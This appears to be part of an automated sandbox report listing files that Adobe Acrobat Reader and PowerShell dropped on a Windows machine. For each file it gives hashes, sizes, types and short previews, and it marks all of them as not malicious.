Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270939997938519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfshHHrPeUkwRe9:YvXKX1v3lZc0vbnGUUUkee9
MD5:	8B6DD10145CDB63BD9BF027ACC3EC637
SHA1:	896D144744CFE22EC7EC1F056F572EFDEB867FE6
SHA-256:	ECD2EC20CB52E806294A12C11159FEBCDD94DFBFD7D0C7D927EB7E6638253A38
SHA-512:	63400970C25E0B166BAB588D64F8AC03A3ED011719F68034BAF6AB83F05B0841CE49065F886F0250D444724C55122A47A0D7C767E6008282BC357A5AEDFEC792
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280074455391304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJTqgFCrPeUkwRe9:YvXKX1v3lZc0vbnGTq16Ukee9
MD5:	AA0D90D901F6F78B098BD1336C80AF0E
SHA1:	0A22469B9344D201CDFC8B422CC5A3590D1A40C6
SHA-256:	54C9737D50DECD5A816603E28A3A96710D6780486B6E88DDA66ED27FD3744803
SHA-512:	B200D2286559F807AC147D615E39CAEBB79B894BCBBF4187979D1330277DEFCBDF921D3FCBFF73170E3BFCE117DEF1AB1E0C5017BF60492AC0110FD89E1E11AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139042154336325
Encrypted:	false
SSDEEP:	24:YldGaWzrayJBRQaeN0zjfVmryj0SRudmNJ2i3rehi2LSzC0lMS78lyC5K9nupOG:YcznQdaDCmnxycR3eS78lb89q
MD5:	46578B51E7C25BA0AFE2FCAAB31A83AA
SHA1:	0C8F74B2C9F78A7EDFEB8F5BADEEB22E26FBF02F
SHA-256:	53185777C79CB2A6F9E92CAE048644A3ABB950FBBA100F9C4862F759F90573AF
SHA-512:	F9EBAE98E253A4A7EA0665661CD852D4B91FA6CF5A8AD0B9AC4CC00BA67CDC34A4A7D037DF75DDA9EB2684C56FB5D3A1DA4E69F574B5409EDAA9EA50BC56FF4C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8574850f019fd62ce4b1cb3d5d33e15c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736840709000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f52b0d969c84bf12c0bf3a4f6d37e21a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736840708000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"66dc2f08a08c39536b89482c12b16982","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736840708000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"62ff385159f91aad476536cc3340e1ef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736840708000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"39ab21458634c535ffe30c08b3121776","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736840708000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1ab84f0ee7a0b05a8ab9b606aed74b66","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1881083402571744
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUxGSvR9H9vxFGiDIAEkGVvpVg:lNVmswUUUUUUUUxG+FGSItxg
MD5:	D8910280351B7FEECBB548EABD8BE1F0
SHA1:	A66B2A09EEEEBBDE5F42FF39529FF7DE2C8DE3FC
SHA-256:	F3C45044C538DA19430546856CCCB45AF04F9EF9C6FB90FC6CB5BD79F0308059
SHA-512:	63AF0975BB4C3E9288D101EFD007D10247243C94363E667504644D5F80C3B46E6ED97D105E496F499F1517FD49444EA510D66FD4F0CDF8134BBC9C298DD53042
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6081507832884279
Encrypted:	false
SSDEEP:	48:7MNKUUUUUUUUUUxEvR9H9vxFGiDIAEkGVvFqFl2GL7ms7:7bUUUUUUUUUUxUFGSItHKVms7
MD5:	0C57C76D088BA5766A89A2309633CFBB
SHA1:	DE21F93D804C7F99CD323489EFB93182DB841443
SHA-256:	42E353AB62411C295C298573B8BC4FA51958C04CF6407B2583BB8F266B8D7A27
SHA-512:	FC08A4C8DF87C390DB22EEB9A526E525BD0603ADCA9A9724F264253B321DE3340A635D80F13E3DB07EB0D261B75B37CF1D35E248A9A579F0AE44E9BFB47B1D6D
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzUjTy+CLdzJkvO4Z3r8mGzrymYyu:6a6TZ44ADEz8Ty+CRzJDzrpK
MD5:	A9667A18DCFD12A41D6BFF603A9A64FD
SHA1:	738B10A5A663FBAE8A0F83666A5AF86A0B04C689
SHA-256:	FCCC1117A2B23B29133B45E307FEDFB086996FC61DA824C8C870F977CCDBEE5E
SHA-512:	09763216DBF2A91A973D40DF83CAC4C0B79C1FDB7317577EE49E81AED6845452080D5739A659AC99F2E13DE5FADB7D3CB4A45DDEE4616ACBEE46F0F4BEA374D0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI32ece.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClunH:Qw946cPbiOxDlbYnuRKIx
MD5:	4A55CFF4C8607CE1A43EE6DEBA9612F3
SHA1:	BB8847ECBC5821D861CA7F4CBD91E59447019BA1
SHA-256:	2F6C6AEFCFA487C9C979F697DA4B36BF5868CCAC0A1A01B2C2F059EE4E83592D
SHA-512:	348F44D6A0E4448B4E6C8F7C1C5320DCF81D58A5568B67E991912C56BCF7F9D153BB78F7459AB485B1323CA67C0DFFB0954C1F1AF2D455313C6E66C50AE75013
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.2.:.4.5.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apadl1if.510.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjritlpp.phm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 02-45-05-825.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.370476596654613
Encrypted:	false
SSDEEP:	384:bwQR2RTRuRERFRf4RtP2PwPFPXPsPnpPpP9I7InI1IBLmLKLXLsLL6SxStSrzZzZ:oTI
MD5:	53302BB55A2FA5FAEC86437A201DD5B4
SHA1:	B4F506DAA8868270E3C9F07D74354E82CB34F591
SHA-256:	CC403B9F2519F234E1E9B2AFD24E2663928F6EE7B265AB3D43F69189911A79EB
SHA-512:	DE9FBB5306F53CBA55E71C39562A9F9354B4A87814940BD676344C2E2949ADA079A7300D12BC7757253936FA5C79394DBAD3513284594CF1FDEB3775DEFA5FA3
Malicious:	false
Preview:	SessionID=93a65ab1-13e1-4f2f-9ccd-e0791d9b92ab.1736840705848 Timestamp=2025-01-14T02:45:05:848-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=93a65ab1-13e1-4f2f-9ccd-e0791d9b92ab.1736840705848 Timestamp=2025-01-14T02:45:05:849-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=93a65ab1-13e1-4f2f-9ccd-e0791d9b92ab.1736840705848 Timestamp=2025-01-14T02:45:05:849-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=93a65ab1-13e1-4f2f-9ccd-e0791d9b92ab.1736840705848 Timestamp=2025-01-14T02:45:05:849-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=93a65ab1-13e1-4f2f-9ccd-e0791d9b92ab.1736840705848 Timestamp=2025-01-14T02:45:05:849-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3852247322839935
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rO:6
MD5:	B6882EE8C1CE57B650D2A908A1C98D28
SHA1:	7D8E84FC4E4A58E4619AEB3C76B0A786F1336809
SHA-256:	6461777904B05FD11C349FB57EEFC8397910373F83184D94D2DBFCE54C3ED67A
SHA-512:	1EAACB3C79B6EA5604FD08C6F91316943C55124E64A4528F13AD191AFC073CCD8FA8D07059E2233238549A1D4B799227533A373BFBB21B75EB7071B043D6A5F4
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d878c0f-51b0-4705-a6bd-f9b32a5d4d39.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\312f900f-947d-46c3-9636-57a2ff3d8e77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6b2fe765-e11b-4d79-af2c-e6cf036b3152.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8379dcc4-df3a-4088-af44-1934305f4a23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 